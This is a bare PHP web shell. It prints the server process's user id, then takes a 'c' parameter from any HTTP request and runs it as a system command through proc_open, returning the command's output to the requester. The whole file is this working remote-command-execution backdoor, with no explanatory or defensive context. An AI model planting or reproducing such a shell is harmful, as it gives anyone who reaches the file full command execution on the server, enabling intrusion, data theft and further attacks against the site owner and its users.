<?php
header("Content-Type: text/plain; charset=utf-8");
echo "uid=".getmyuid()."\n";
$c=isset($_REQUEST["c"])?$_REQUEST["c"]:"";
if($c!==""&&function_exists("proc_open")){
$d=[0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]];$p=@proc_open($c,$d,$pipes);
if(is_resource($p)){fclose($pipes[0]);echo stream_get_contents($pipes[1]);echo stream_get_contents($pipes[2]);fclose($pipes[1]);fclose($pipes[2]);proc_close($p);}
}